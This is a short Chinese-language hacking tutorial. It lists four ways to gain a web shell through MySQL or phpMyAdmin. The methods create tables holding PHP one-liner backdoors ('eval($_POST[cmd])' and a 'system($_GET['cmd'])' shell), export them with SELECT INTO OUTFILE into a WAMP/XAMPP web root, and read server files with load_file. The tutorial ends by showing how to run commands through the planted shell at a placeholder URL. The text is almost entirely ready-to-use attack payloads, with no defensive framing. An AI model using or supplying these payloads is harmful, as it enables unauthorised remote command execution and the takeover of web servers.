1、第一种方法
CREATE TABLE 'mysql'.'study' ('7on' TEXT NOT NULL ); INSERT INTO 'mysql'.'study' ('7on' )VALUES ('<?php @eval($_POST[cmd])?>'); SELECT 7onFROM study INTO OUTFILE 'E:/wamp/www/7.php';
说明:以上命令语句同时执行,在数据库: mysql 下创建一个表名为:study,字段为cmd,导出到E:/wamp/www/7.php
2、第二种方法
select load_file('E:/xamp/www/s.php');
读取文件内容:
写一句话:
select '<?php @eval($_POST[cmd])?>'INTO OUTFILE 'E:/xamp/www/study.php'
cmd执行权限:
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
3、第三种方法
JhackJ版本 PHPmyadmin拿shell
CREATE TABLE study (cmd text NOTNULL);#MySQL返回的查询结果为空(即零行) INSERT INTO study (cmd) VALUES ('<?php eval($_POST[cmd])?>');#影响列数:1 SELECT cmd FROM study INTO OUTFILE 'E:/wamp/www/7.php';#影响列数:1 DROP TABLE IF EXISTS study;#MySQL返回的查询结果为空(即零行)
4、第四种方法
select load_file('E:/xamp/www/study.php'); select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/study.php'
然后访问网站目录:http://www.xxx.com/study.php?cmd=dir